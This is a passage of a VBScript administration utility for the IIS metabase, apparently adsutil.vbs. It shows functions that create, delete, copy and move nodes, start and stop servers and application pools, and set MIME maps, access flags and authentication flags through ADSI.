' Parse the path and determine if the parent exists.
ParentObjSize = InStrRev(IIsObjectPath, "/")
ParentObjPath = ""
If ParentObjSize <> 0 Then
ParentObjPath = Left(IIsObjectPath, ParentObjSize - 1)
IIsObjectRelativePath = Right(IIsObjectPath, Len(IIsObjectPath) - ParentObjSize)
Else
IIsObjectRelativePath = IIsObjectPath
End If
If ParentObjPath <> "" Then
FullAdsParentPath = "IIS://" & MachineName & "/" & ParentObjPath
Else
FullAdsParentPath = "IIS://" & MachineName
End If
'debug
'WScript.Echo "Last Error: " & Err.Number
'WScript.Echo "MachineName: " & MachineName
'WScript.Echo "ParentObjPath: " & ParentObjPath
'WScript.Echo "FullAdsParentPath: " & FullAdsParentPath
'WScript.Echo "IIsObjectPath: " & IIsObjectPath
'WScript.Echo "IIsObjectRelativePath: " & IIsObjectRelativePath
'WScript.Echo "ObjectTypeName: " & ObjectTypeName
' First, attempt to open the parent path and add the new path.
Set IIsObject = GetObject(FullAdsParentPath)
If Err.Number <> 0 Then
OpenErr = Err.Number
OpenErrDesc = Err.Description
Err.Clear
' Attempt to get the Computer Object (IIS://LocalHost)
Set IIsObject = GetObject("IIS://" & MachineName)
If Err.Number <> 0 Then
WScript.Echo
ReportError ()
WScript.Echo "Error accessing the object: " & IIsObjectPath
WScript.Quit (Err.Number)
End If
End If
'Now, attempt to add the new object.
If (OpenErr <> 0) Then
Set NewObject = IIsObject.Create(ObjectTypeName, IIsObjectPath)
Else
Set NewObject = IIsObject.Create(ObjectTypeName, IIsObjectRelativePath)
End If
If Err.Number <> 0 Then
WScript.Echo
ReportError ()
WScript.Echo "Error creating the object: " & IIsObjectPath
WScript.Quit (Err.Number)
End If
NewObject.Setinfo
If Err.Number <> 0 Then
WScript.Echo
ReportError ()
WScript.Echo "Error creating the object: " & IIsObjectPath
WScript.Quit (Err.Number)
End If
' Now, if the parent object was not created, generate a warning.
If OpenErr <> 0 Then
WScript.Echo
WScript.Echo "WARNING: The parent path (" & ParentObjPath & ") was not already created."
WScript.Echo " This means that some of the intermediate objects will not have an accurate"
WScript.Echo " Object Type. You should fix this by setting the KeyType on the intermediate"
WScript.Echo " objects."
WScript.Echo
CreateCommand = GENERAL_WARNING
End If
If UCase(ObjectTypeName) = "IISOBJECT" Then
WScript.Echo
WScript.Echo "WARNING: The Object Type of this object was not specified or was specified as"
WScript.Echo " IIsObject. This means that you will not be able to set or get properties"
WScript.Echo " on the object until the KeyType property is set."
WScript.Echo
CreateCommand = GENERAL_WARNING
End If
WScript.Echo "created """ & IIsObjectPath & """"
End Function
''''''''''''''''''''''''''
'
' Delete Function
'
' Deletes a path in the metabase.
'
''''''''''''''''''''''''''
Function DeleteCommand()
On Error Resume Next
Dim IIsObject
Dim IIsObjectPath
Dim ObjectPath
Dim ObjectParam
Dim MachineName
Dim DummyVariant
Dim DeletePathOnly
ReDim DummyVariant(0)
DummyVariant(0) = "Crap"
' Set the return code - assume success
DeleteCommand = 0
' Setup the parameters
If (ArgCount <> 2) Then
WScript.Echo "Error: Wrong number of Args for the DELETE command"
WScript.Quit (GENERAL_FAILURE)
End If
ObjectPath = Args(1)
' Check and see if the user is specifically asking to delete the path
DeletePathOnly = False
If Right(ObjectPath, 1) = "/" Then
DeletePathOnly = True
End If
' Sanitize the path and split parameter and path
SanitizePath ObjectPath
MachineName = SeparateMachineName(ObjectPath)
ObjectParam = SplitParam(ObjectPath)
' Open the parent object
IIsObjectPath = "IIS://" & MachineName
If ObjectPath <> "" Then
IIsObjectPath = IIsObjectPath & "/" & ObjectPath
End If
Set IIsObject = GetObject(IIsObjectPath)
If Err.Number <> 0 Then
WScript.Echo
ReportError ()
WScript.Echo "Error deleting the object: " & ObjectPath & "/" & ObjectParam
WScript.Quit (Err.Number)
End If
' If they did not specifically ask to delete the path, then attempt to delete the property
If Not DeletePathOnly Then
' Try to delete the property
' ADS_PROPERTY_CLEAR used to be defined, but it isn't anymore.
'IIsObject.PutEx ADS_PROPERTY_CLEAR, ObjectParam, DummyVariant
IIsObject.PutEx "1", ObjectParam, DummyVariant
' If it succeeded, then just return, else continue and try to delete the path
If Err.Number = 0 Then
WScript.Echo "deleted property """ & ObjectParam & """"
Exit Function
End If
Err.Clear
End If
' Try to just delete the path
IIsObject.Delete "IIsObject", ObjectParam
If Err.Number <> 0 Then
WScript.Echo
ReportError ()
WScript.Echo "Error deleting the object: " & ObjectPath & "/" & ObjectParam
WScript.Quit (Err.Number)
End If
WScript.Echo "deleted path """ & ObjectPath & "/" & ObjectParam & """"
Exit Function
End Function
''''''''''''''''''''''''''
'
' EnumAllCommand
'
' Enumerates all data and all properties in the metabase under the current path.
'
''''''''''''''''''''''''''
Function EnumAllCommand()
On Error Resume Next
WScript.Echo "ENUM_ALL Command not yet supported"
End Function
''''''''''''''''''''''''''
'
' CopyMoveCommand
'
' Copies a path in the metabase to another path.
'
''''''''''''''''''''''''''
Function CopyMoveCommand(bCopyFlag)
On Error Resume Next
Dim SrcObjectPath
Dim DestObjectPath
Dim DestObject
Dim ParentObjectPath
Dim ParentRelativePath
Dim ParentObject
Dim MachineName
Dim TmpDestLeftPath
Dim TmpSrcLeftPath
CopyMoveCommand = 0 ' Assume Success
If ArgCount <> 3 Then
WScript.Echo "Error: Wrong number of Args for the Copy/Move command"
WScript.Quit (GENERAL_FAILURE)
End If
SrcObjectPath = Args(1)
DestObjectPath = Args(2)
SanitizePath SrcObjectPath
SanitizePath DestObjectPath
MachineName = SeparateMachineName(SrcObjectPath)
ParentObjectPath = "IIS://" & MachineName
' Extract the left part of the paths until there are no more left parts to extract
Do
TmpSrcLeftPath = SplitLeftPath(SrcObjectPath)
TmpDestLeftPath = SplitLeftPath(DestObjectPath)
If (SrcObjectPath = "") Or (DestObjectPath = "") Then
SrcObjectPath = TmpSrcLeftPath & "/" & SrcObjectPath
DestObjectPath = TmpDestLeftPath & "/" & DestObjectPath
Exit Do
End If
If (TmpSrcLeftPath <> TmpDestLeftPath) Then
SrcObjectPath = TmpSrcLeftPath & "/" & SrcObjectPath
DestObjectPath = TmpDestLeftPath & "/" & DestObjectPath
Exit Do
End If
ParentObjectPath = ParentObjectPath & "/" & TmpSrcLeftPath
ParentRelativePath = ParentRelativePath & "/" & TmpSrcLeftPath
Loop
SanitizePath SrcObjectPath
SanitizePath DestObjectPath
SanitizePath ParentObjectPath
' Now, open the parent object and Copy/Move the objects
Set ParentObject = GetObject(ParentObjectPath)
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to open the object: " & ParentObjectPath
WScript.Quit (Err.Number)
End If
If (bCopyFlag) Then
Set DestObject = ParentObject.CopyHere(SrcObjectPath, DestObjectPath)
Else
Set DestObject = ParentObject.MoveHere(SrcObjectPath, DestObjectPath)
End If
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to Copy/Move Source to Dest."
WScript.Quit (Err.Number)
End If
If (bCopyFlag) Then
WScript.Echo "copied from " & ParentRelativePath & "/" & SrcObjectPath & " to " & ParentRelativePath & "/" & DestObjectPath
Else
WScript.Echo "moved from " & ParentRelativePath & "/" & SrcObjectPath & " to " & ParentRelativePath & "/" & DestObjectPath
End If
End Function
''''''''''''''''''''''''''
'
' StartServerCommand
'
' Starts a server in the metabase.
'
''''''''''''''''''''''''''
Function StartServerCommand()
On Error Resume Next
Dim IIsObject
Dim IIsObjectPath
Dim ObjectPath
Dim MachineName
If ArgCount <> 2 Then
WScript.Echo "Error: Wrong number of Args for the START_SERVER command"
WScript.Quit (GENERAL_FAILURE)
End If
ObjectPath = Args(1)
SanitizePath ObjectPath
MachineName = SeparateMachineName(ObjectPath)
IIsObjectPath = "IIS://" & MachineName & "/" & ObjectPath
Set IIsObject = GetObject(IIsObjectPath)
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to open the object: " & ObjectPath
WScript.Quit (Err.Number)
End If
'debug
'WScript.echo "About to start server. Last Error: " & Err.Number
IIsObject.Start
'WScript.echo "After starting server. Last Error: " & Err.Number
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to START the server: " & ObjectPath
WScript.Quit (Err.Number)
End If
WScript.Echo "Server " & ObjectPath & " Successfully STARTED"
End Function
''''''''''''''''''''''''''
'
' StopServerCommand
'
' Stops a server in the metabase.
'
''''''''''''''''''''''''''
Function StopServerCommand()
On Error Resume Next
Dim IIsObject
Dim IIsObjectPath
Dim ObjectPath
Dim MachineName
If ArgCount <> 2 Then
WScript.Echo "Error: Wrong number of Args for the STOP_SERVER command"
WScript.Quit (GENERAL_FAILURE)
End If
ObjectPath = Args(1)
SanitizePath ObjectPath
MachineName = SeparateMachineName(ObjectPath)
IIsObjectPath = "IIS://" & MachineName & "/" & ObjectPath
Set IIsObject = GetObject(IIsObjectPath)
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to open the object: " & ObjectPath
WScript.Quit (Err.Number)
End If
IIsObject.Stop
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to STOP the server: " & ObjectPath
WScript.Quit (Err.Number)
End If
WScript.Echo "Server " & ObjectPath & " Successfully STOPPED"
End Function
''''''''''''''''''''''''''
'
' PauseServerCommand
'
' Pauses a server in the metabase.
'
''''''''''''''''''''''''''
Function PauseServerCommand()
On Error Resume Next
Dim IIsObject
Dim IIsObjectPath
Dim ObjectPath
Dim MachineName
If ArgCount <> 2 Then
WScript.Echo "Error: Wrong number of Args for the PAUSE_SERVER command"
WScript.Quit (GENERAL_FAILURE)
End If
ObjectPath = Args(1)
SanitizePath ObjectPath
MachineName = SeparateMachineName(ObjectPath)
IIsObjectPath = "IIS://" & MachineName & "/" & ObjectPath
Set IIsObject = GetObject(IIsObjectPath)
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to open the object: " & ObjectPath
WScript.Quit (Err.Number)
End If
IIsObject.Pause
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to PAUSE the server: " & ObjectPath
WScript.Quit (Err.Number)
End If
WScript.Echo "Server " & ObjectPath & " Successfully PAUSED"
End Function
''''''''''''''''''''''''''
'
' ContinueServerCommand
'
' Continues a server in the metabase.
'
''''''''''''''''''''''''''
Function ContinueServerCommand()
On Error Resume Next
Dim IIsObject
Dim IIsObjectPath
Dim ObjectPath
Dim MachineName
If ArgCount <> 2 Then
WScript.Echo "Error: Wrong number of Args for the CONTINUE_SERVER command"
WScript.Quit (GENERAL_FAILURE)
End If
ObjectPath = Args(1)
SanitizePath ObjectPath
MachineName = SeparateMachineName(ObjectPath)
IIsObjectPath = "IIS://" & MachineName & "/" & ObjectPath
Set IIsObject = GetObject(IIsObjectPath)
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to open the object: " & ObjectPath
WScript.Quit (Err.Number)
End If
IIsObject.Continue
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to CONTINUE the server: " & ObjectPath
WScript.Quit (Err.Number)
End If
WScript.Echo "Server " & ObjectPath & " Successfully CONTINUED"
End Function
Function FindData()
' FindData will accept 1 parameter from the command line - the node and
' property to search for (i.e. w3svc/1/ServerComment)
On Error Resume Next
Dim ObjectPath
Dim ObjectParameter
Dim NewObjectparameter
Dim MachineName
Dim IIsObjectPath
Dim IIsObject
Dim Path
Dim PathList
Dim I
FindData = 0 ' Assume Success
If ArgCount <> 2 Then
WScript.Echo "Error: Wrong number of Args for the FIND_DATA command"
WScript.Quit (GENERAL_FAILURE)
End If
ObjectPath = Args(1)
SanitizePath ObjectPath
MachineName = SeparateMachineName(ObjectPath)
ObjectParameter = SplitParam(ObjectPath)
' Since people may still want to use MDUTIL parameter names
' we should still do the GET translation of parameter names.
NewObjectparameter = MapSpecGetParamName(ObjectParameter)
ObjectParameter = NewObjectparameter
If ObjectPath = "" Then
IIsObjectPath = "IIS://" & MachineName
Else
IIsObjectPath = "IIS://" & MachineName & "/" & ObjectPath
End If
Set IIsObject = GetObject(IIsObjectPath)
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to find data paths for the Object (GetObject Failed): " & ObjectPath
WScript.Quit (Err.Number)
End If
' Now, list out all the places where this property exists.
PathList = IIsObject.GetDataPaths(ObjectParameter, IIS_DATA_INHERIT)
If Err.Number <> 0 Then PathList = IIsObject.GetDataPaths(ObjectParameter, IIS_DATA_NO_INHERIT)
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to get a path list (GetDataPaths Failed): " & ObjectPath
WScript.Quit (Err.Number)
End If
If UBound(PathList) < 0 Then
WScript.Echo "Property " & ObjectParameter & " was not found at any node beneath " & ObjectPath
Else
WScript.Echo "Property " & ObjectParameter & " found at:"
For Each Path In PathList
Path = Right(Path, Len(Path) - 6)
Path = Right(Path, Len(Path) - InStr(Path, "/"))
WScript.Echo " " & Path
Next
End If
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error listing the data paths (_newEnum Failed): " & ObjectPath
WScript.Quit (Err.Number)
End If
End Function
'''''''''''''''''''''
'
' MimeMapGet
'
' Special function for displaying a MimeMap property
'
'''''''''''''''''''''
Function MimeMapGet(ObjectPath, MachineName)
On Error Resume Next
Dim MimePath
Dim MimeMapList
Dim MimeMapObject
Dim MimeEntry
Dim MimeEntryIndex
Dim MimeStr
Dim MimeOutPutStr
Dim DataPathList
Dim DataPath
MimeMapGet = 0 ' Assume Success
MimePath = "IIS://" & MachineName
If ObjectPath <> "" Then MimePath = MimePath & "/" & ObjectPath
' Get the object that contains the mimemap
Set MimeMapObject = GetObject(MimePath)
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to get the Object: " & ObjectPath
WScript.Quit (Err.Number)
End If
' Test to see if the property is ACTUALLY set at this node
DataPathList = MimeMapObject.GetDataPaths("MimeMap", IIS_DATA_INHERIT)
If Err.Number <> 0 Then DataPathList = IIsObject.GetDataPaths(MimeMap, IIS_DATA_NO_INHERIT)
Err.Clear
' If the data is not set anywhere, then stop the madness
If (UBound(DataPathList) < 0) Then
MimeMapGet = &H80005006 ' end with property not set error
Exit Function
End If
DataPath = DataPathList(0)
SanitizePath DataPath
' Test to see if the item is actually set HERE
If UCase(DataPath) <> UCase(MimePath) Then
MimeMapGet = &H80005006 ' end with property not set error
Exit Function
End If
' Get the mime map list from the object
MimeMapList = MimeMapObject.Get("MimeMap")
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to get the Object: " & ObjectPath
WScript.Quit (Err.Number)
End If
MimeOutPutStr = "MimeMap : (MimeMapList) "
' Enumerate the Mime Entries
For MimeEntryIndex = 0 To UBound(MimeMapList)
Set MimeEntry = MimeMapList(MimeEntryIndex)
MimeOutPutStr = MimeOutPutStr & """" & MimeEntry.Extension & "," & MimeEntry.MimeType & """ "
Next
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to Create the Mime Map List."
WScript.Quit (Err.Number)
End If
WScript.Echo MimeOutPutStr
End Function
Function MimeMapSet(ObjectPath, ObjectParameter, MachineName)
On Error Resume Next
Dim MimePath
Dim MimeEntryIndex
Dim MimeMapList()
Dim MimeMapObject
Dim MimeEntry
Dim MimeStr
Dim MimeOutPutStr
MimeMapSet = 0 ' Assume Success
' First, check the number of args
If ArgCount < 3 Then
WScript.Echo "Error: Wrong number of Args for the Set MIMEMAP command"
WScript.Quit (GENERAL_FAILURE)
End If
MimePath = "IIS://" & MachineName
If ObjectPath <> "" Then MimePath = MimePath & "/" & ObjectPath
' Get the object that contains the mimemap
Set MimeMapObject = GetObject(MimePath)
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to get the Object: " & ObjectPath
WScript.Quit (Err.Number)
End If
' Create a new MimeMapList of Mime Entries
ReDim MimeMapList(ArgCount - 3)
MimeOutPutStr = "MimeMap : (MimeMapList) "
' Fill the list with mime entries
For MimeEntryIndex = 0 To UBound(MimeMapList)
MimeStr = Args(2 + MimeEntryIndex)
MimeOutPutStr = MimeOutPutStr & """" & MimeStr & """ "
Set MimeEntry = CreateObject("MimeMap")
MimeEntry.MimeType = Right (MimeStr, Len(MimeStr) - InStr(MimeStr, ","))
MimeEntry.Extension = Left(MimeStr, InStr(MimeStr, ",") - 1)
Set MimeMapList(MimeEntryIndex) = MimeEntry
Next
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to Create the Mime Map List."
WScript.Quit (Err.Number)
End If
MimeMapObject.MimeMap = MimeMapList
MimeMapObject.Setinfo
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error Trying to set the Object's ""MimeMap"" property to the new mimemap list."
WScript.Quit (Err.Number)
End If
WScript.Echo MimeOutPutStr
End Function
''''''''''''''''''''''''''
'
' IsSpecialGetProperty
'
' Checks to see if the property requires special processing in order to
' display its contents.
'
''''''''''''''''''''''''''
Function IsSpecialGetProperty(ObjectParameter)
On Error Resume Next
Select Case UCase(ObjectParameter)
Case "MIMEMAP"
IsSpecialGetProperty = True
Case Else
IsSpecialGetProperty = False
End Select
End Function
''''''''''''''''''''''''''
'
' DoSpecialGetProp
'
' Checks to see if the property requires special processing in order to
' display its contents.
'
''''''''''''''''''''''''''
Function DoSpecialGetProp(ObjectPath, ObjectParameter, MachineName)
On Error Resume Next
Select Case UCase(ObjectParameter)
Case "MIMEMAP"
DoSpecialGetProp = MimeMapGet(ObjectPath, MachineName)
Case Else
DoSpecialGetProp = False
End Select
End Function
''''''''''''''''''''''''''
'
' IsSpecialSetProperty
'
' Checks to see if the property is a type that needs to be handled
' specially for compatibility with mdutil
'
''''''''''''''''''''''''''
Function IsSpecialSetProperty(ObjectParameter)
On Error Resume Next
Select Case UCase(ObjectParameter)
Case "APPPOOLCOMMAND"
IsSpecialSetProperty = True
Case "SERVERCOMMAND"
IsSpecialSetProperty = True
Case "ACCESSPERM"
IsSpecialSetProperty = True
Case "VRPATH"
IsSpecialSetProperty = True
Case "AUTHORIZATION"
IsSpecialSetProperty = True
Case "MIMEMAP"
IsSpecialSetProperty = True
Case Else
IsSpecialSetProperty = False
End Select
End Function
''''''''''''''''''''''''''
'
' DoSpecialSetProp
'
' Handles datatypes that need to be handled
' specially for compatibility with mdutil
'
''''''''''''''''''''''''''
Function DoSpecialSetProp(ObjectPath, ObjectParameter, MachineName)
Dim IIsObjectPath
Dim IIsObject
Dim ValueList
Dim ValueDisplay
Dim PermIndex
On Error Resume Next
DoSpecialSetProp = 0 ' Assume Success
Select Case UCase(ObjectParameter)
Case "SERVERCOMMAND"
IIsObjectPath = "IIS://" & MachineName & "/" & ObjectPath
Set IIsObject = GetObject(IIsObjectPath)
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error Trying To Get the Object: " & ObjectPath
WScript.Quit (Err.Number)
End If
If (IIsObject.KeyType <> "IIsWebServer") Then
ReportError ()
WScript.Echo "Can't set ServerCommand on a non-IIsWebServer object."
WScript.Quit (GENERAL_FAILURE)
End If
ValueList = CLng(Args(2))
Select Case ValueList
Case 1
IIsObject.Start
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error Trying To Start the server: " & ObjectPath
WScript.Quit (Err.Number)
End If
WScript.Echo "Server " & ObjectPath & " Successfully STARTED"
Case 2
IIsObject.Stop
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error Trying To Stop the server: " & ObjectPath
WScript.Quit (Err.Number)
End If
WScript.Echo "Server " & ObjectPath & " Successfully STOPPED"
Case 3
IIsObject.Pause
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error Trying To Pause the server: " & ObjectPath
WScript.Quit (Err.Number)
End If
WScript.Echo "Server " & ObjectPath & " Successfully PAUSED"
Case 4
IIsObject.Continue
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error Trying To Continue the server: " & ObjectPath
WScript.Quit (Err.Number)
End If
WScript.Echo "Server " & ObjectPath & " Successfully Continued"
Case Else
WScript.Echo "Invalid ServerCommand: " & ValueList
DoSpecialSetProp = GENERAL_FAILURE
End Select
Exit Function
Case "APPPOOLCOMMAND"
IIsObjectPath = "IIS://" & MachineName & "/" & ObjectPath
Set IIsObject = GetObject(IIsObjectPath)
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error Trying To Get the Object: " & ObjectPath
WScript.Quit (Err.Number)
End If
If (IIsObject.KeyType <> "IIsApplicationPool") Then
ReportError ()
WScript.Echo "Can't set AppPoolCommand on a non-IIsApplicationPool object."
WScript.Quit (GENERAL_FAILURE)
End If
ValueList = CLng(Args(2))
Select Case ValueList
Case 1
IIsObject.Start
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error Trying To Start the application pool: " & ObjectPath
WScript.Quit (Err.Number)
End If
WScript.Echo "Application pool " & ObjectPath & " Successfully STARTED"
Case 2
IIsObject.Stop
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error Trying To Stop the application pool: " & ObjectPath
WScript.Quit (Err.Number)
End If
WScript.Echo "Application pool " & ObjectPath & " Successfully STOPPED"
Case Else
WScript.Echo "Invalid AppPoolCommand: " & ValueList
DoSpecialSetProp = GENERAL_FAILURE
End Select
Exit Function
Case "ACCESSPERM"
IIsObjectPath = "IIS://" & MachineName & "/" & ObjectPath
Set IIsObject = GetObject(IIsObjectPath)
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error Trying To Get the Object: " & ObjectPath
WScript.Quit (Err.Number)
End If
' Set the access flags to None, first, and then add them back, as necessary
IIsObject.AccessFlags = 0
' Set up the display output
ValueDisplay = "AccessFlags (AccessPerm)" & (Right(Spacer, SpacerSize - Len("AccessFlags (AccessPerm)")) & ": " & "(" & TypeName(IIsObject.AccessFlags) & ") ")
' Attempt to convert parameter to number
Dim APValue
Dim TempValStr
TempValStr = Args(2)
' Check for Hex
If (UCase(Left(Args(2), 2)) = "0X") Then
TempValStr = "&H" & Right(TempValStr, Len(TempValStr) - 2)
End If
APValue = CLng(TempValStr)
If (Err.Number = 0) Then
IIsObject.AccessFlags = APValue
ValueDisplay = ValueDisplay & " " & APValue & " (0x" & Hex(APValue) & ")"
Else
Err.Clear
For PermIndex = 2 To ArgCount - 1
Select Case UCase(Args(PermIndex))
Case "READ"
IIsObject.AccessRead = True
ValueDisplay = ValueDisplay & " Read"
Case "WRITE"
IIsObject.AccessWrite = True
ValueDisplay = ValueDisplay & " Write"
Case "EXECUTE"
IIsObject.AccessExecute = True
ValueDisplay = ValueDisplay & " Execute"
Case "SCRIPT"
IIsObject.AccessScript = True
ValueDisplay = ValueDisplay & " Script"
Case Else
WScript.Echo "Error: Setting not supported: " & Args(PermIndex)
WScript.Quit (GENERAL_FAILURE)
End Select
Next
End If
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error Trying To Set data on the Object: " & ObjectPath
WScript.Quit (Err.Number)
End If
IIsObject.Setinfo
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error Trying To Set data on the Object: " & ObjectPath
WScript.Quit (Err.Number)
End If
' Send the current settings to the screen
WScript.Echo ValueDisplay
Case "VRPATH"
IIsObjectPath = "IIS://" & MachineName & "/" & ObjectPath
Set IIsObject = GetObject(IIsObjectPath)
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error Trying To Get the Object: " & ObjectPath
WScript.Quit (Err.Number)
End If
' Set the access flags to None, first, and then add them back, as necessary
IIsObject.Path = Args(2)
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error Trying To Set data on the Object: " & ObjectPath
WScript.Quit (Err.Number)
End If
' Set up the display output
ValueDisplay = "Path (VRPath)" & (Right(Spacer, SpacerSize - Len("Path (VRPath)")) & ": " & "(" & TypeName(IIsObject.Path) & ") " & IIsObject.Path)
IIsObject.Setinfo
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error Trying To Set data on the Object: " & ObjectPath
WScript.Quit (Err.Number)
End If
' Send the current settings to the screen
WScript.Echo ValueDisplay
Case "AUTHORIZATION"
IIsObjectPath = "IIS://" & MachineName & "/" & ObjectPath
Set IIsObject = GetObject(IIsObjectPath)
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error Trying To Get the Object: " & ObjectPath
WScript.Quit (Err.Number)
End If
' Set the auth flags to None, first, and then add them back, as necessary
IIsObject.AuthFlags = 0
' Set up the display output
ValueDisplay = "Authorization" & (Right(Spacer, SpacerSize - Len("Authorization")) & ": " & "(" & TypeName(IIsObject.AuthFlags) & ") ")
For PermIndex = 2 To ArgCount - 1
Select Case UCase(Args(PermIndex))
Case "NT"
IIsObject.AuthNTLM = True
ValueDisplay = ValueDisplay & " NT"
Case "ANONYMOUS"
IIsObject.AuthAnonymous = True
ValueDisplay = ValueDisplay & " Anonymous"
Case "BASIC"
IIsObject.AuthBasic = True
ValueDisplay = ValueDisplay & " Basic"
Case Else
WScript.Echo "Error: Setting not supported: " & Args(PermIndex)
WScript.Quit (GENERAL_FAILURE)
End Select
Next
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error Trying To Set data on the Object: " & ObjectPath
WScript.Quit (Err.Number)
End If
IIsObject.Setinfo
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error Trying To Set data on the Object: " & ObjectPath
WScript.Quit (Err.Number)
End If
' Send the current settings to the screen
WScript.Echo ValueDisplay
Case "MIMEMAP"
DoSpecialSetProp = MimeMapSet(ObjectPath, ObjectParameter, MachineName)
' Case "FILTER"
' DoSpecialSetProp = FiltersSet()
Case Else
DoSpecialSetProp = GENERAL_FAILURE
End Select
End Function
''''''''''''''''''''''''''''''
'
' Function SeparateMachineName
'
' This function will get the machine name from the Path parameter
' that was passed into the script. It will also alter the passed in
' path so that it contains only the rest of the path - not the machine
' name. If there is no machine name in the path, then the script
' will assume LocalHost.
'
''''''''''''''''''''''''''''''
Function SeparateMachineName(Path)
On Error Resume Next
' Temporarily, just return LocalHost
' SeparateMachineName = "LocalHost"
SeparateMachineName = TargetServer
Exit Function
End Function
''''''''''''''''''''''''''''''
'
' Function MapSpecGetParamName
'
' Some parameters in MDUTIL are named differently in ADSI.
' This function maps the improtant parameter names to ADSI
' names.
'
''''''''''''''''''''''''''''''
Function MapSpecGetParamName(ObjectParameter)
On Error Resume Next
Select Case UCase(ObjectParameter)
Case "ACCESSPERM"
WScript.Echo "Note: Your parameter """ & ObjectParameter & """ is being mapped to AccessFlags"
WScript.Echo " Check individual perms using ""GET AccessRead"", ""GET AccessWrite"", etc."
MapSpecGetParamName = "AccessFlags"
Case "VRPATH"
'WScript.Echo "Note: Your parameter """ & ObjectParameter & """ is being mapped to PATH"
MapSpecGetParamName = "Path"
Case "AUTHORIZATION"
WScript.Echo "Note: Your parameter """ & ObjectParameter & """ is being mapped to AuthFlags"
WScript.Echo " Check individual auths using ""GET AuthNTLM"", ""GET AuthBasic"", etc."
MapSpecGetParamName = "AuthFlags"
Case Else
' Do nothing - the parameter doesn't map to anything special
MapSpecGetParamName = ObjectParameter
End Select
End Function
Sub ReportError()
' On Error Resume Next
Dim ErrorDescription
Select Case (Err.Number)
Case &H80070003
ErrorDescription = "The path requested could not be found."
Case &H80070005
ErrorDescription = "Access is denied for the requested path or property."
Case &H80070094
ErrorDescription = "The requested path is being used by another application."
Case Else
ErrorDescription = Err.Description
End Select
WScript.Echo ErrorDescription
WScript.Echo "ErrNumber: " & Err.Number & " (0x" & Hex(Err.Number) & ")"
End Sub
Function SplitParam(ObjectPath)
' Note: Assume the string has been sanitized (no leading or trailing slashes)
On Error Resume Next
Dim SlashIndex
Dim TempParam
Dim ObjectPathLen
SplitParam = "" ' Assume no parameter
ObjectPathLen = Len(ObjectPath)
' Separate the path of the node from the parameter
SlashIndex = InStrRev(ObjectPath, "/")
If (SlashIndex = 0) Or (SlashIndex = ObjectPathLen) Then
TempParam = ObjectPath
ObjectPath = "" ' ObjectParameter is more important
Else
TempParam = ObjectPath
ObjectPath = Left(ObjectPath, SlashIndex - 1)
TempParam = Right(TempParam, Len(TempParam) - SlashIndex)
End If
SplitParam = TempParam
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to Split the parameter from the object: " & ObjectPath
WScript.Quit (Err.Number)
End If
End Function
Function SplitLeftPath(ObjectPath)
' Note: Assume the string has been sanitized (no leading or trailing slashes)
On Error Resume Next
Dim SlashIndex
Dim TmpLeftPath
Dim ObjectPathLen
'WScript.Echo "SplitLeftPath: ObjectPath: " & ObjectPath
'WScript.Echo "LastError: " & Err.Number & " (" & Hex (Err.Number) & ")"
SplitLeftPath = "" ' Assume no LeftPath
ObjectPathLen = Len(ObjectPath)
' Separate the left part of the path from the remaining path
SlashIndex = InStr(ObjectPath, "/")
If (SlashIndex = 0) Or (SlashIndex = ObjectPathLen) Then
TmpLeftPath = ObjectPath
ObjectPath = ""
Else
TmpLeftPath = Left(ObjectPath, SlashIndex - 1)
ObjectPath = Right(ObjectPath, Len(ObjectPath) - SlashIndex)
End If
'WScript.Echo "SplitLeftPath: ObjectPath: " & ObjectPath
'WScript.Echo "SplitLeftPath: TmpLeftPath: " & TmpLeftPath
'WScript.Echo "LastError: " & Err.Number & " (" & Hex (Err.Number) & ")"
SplitLeftPath = TmpLeftPath
'WScript.Echo "SplitLeftPath: ObjectPath: " & ObjectPath
'WScript.Echo "LastError: " & Err.Number & " (" & Hex (Err.Number) & ")"
'WScript.Echo "SplitLeftPath: TmpLeftPath: " & TmpLeftPath
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error trying to split the left part of the path: " & ObjectPath
WScript.Quit (Err.Number)
End If
End Function
Sub SanitizePath(ObjectPath)
On Error Resume Next
' Remove WhiteSpace
Do While (Left(ObjectPath, 1) = " ")
ObjectPath = Right(ObjectPath, Len(ObjectPath) - 1)
Loop
Do While (Right(ObjectPath, 1) = " ")
ObjectPath = Left(ObjectPath, Len(ObjectPath) - 1)
Loop
